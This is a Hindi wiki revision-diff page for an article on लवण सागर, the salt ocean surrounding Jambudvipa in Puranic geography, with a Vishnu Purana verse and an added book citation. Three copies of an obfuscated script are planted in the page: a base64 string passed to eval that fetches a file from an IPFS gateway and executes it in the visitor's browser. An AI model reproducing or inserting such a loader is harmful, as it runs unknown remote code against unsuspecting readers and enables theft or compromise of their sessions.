"लवण सागर" के अवतरणों में अंतर
पंक्ति 8: | पंक्ति 8: | ||
==टीका टिप्पणी और संदर्भ== | ==टीका टिप्पणी और संदर्भ== | ||
<references/> | <references/> | ||
+ | {{cite book | last = माथुर| first = विजयेन्द्र कुमार| title = ऐतिहासिक स्थानावली| edition = द्वितीय संस्करण-1990 | publisher = राजस्थान हिन्दी ग्रंथ अकादमी, जयपुर| location = भारत डिस्कवरी पुस्तकालय | language = हिन्दी | pages = पृष्ठ संख्या- 813-814 | chapter =}} | ||
==बाहरी कड़ियाँ== | ==बाहरी कड़ियाँ== |
14:13, 24 सितम्बर 2011 के समय का अवतरण
- पौराणिक भूगोल के अनुसार यह सागर जंबुद्वीप के चतुर्दिक स्थित है।
- इस के आगे क्रमानुसार विशालतर सागरों के नाम ये हैं - इक्षु, सुरा, घृत, दधि, दुग्ध और जल-
लवणेक्षु सुरासर्पिदधिदुग्धजलै: समम्,
जंबुद्वीप: समस्तानामे- तेपां मध्यसंस्थित:'[1]
|
|
|
|
|
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
टीका टिप्पणी और संदर्भ
- ↑ विष्णु पुराण 2,2,6।
माथुर, विजयेन्द्र कुमार ऐतिहासिक स्थानावली, द्वितीय संस्करण-1990 (हिन्दी), भारत डिस्कवरी पुस्तकालय: राजस्थान हिन्दी ग्रंथ अकादमी, जयपुर, पृष्ठ संख्या- 813-814।<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
बाहरी कड़ियाँ
संबंधित लेख
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>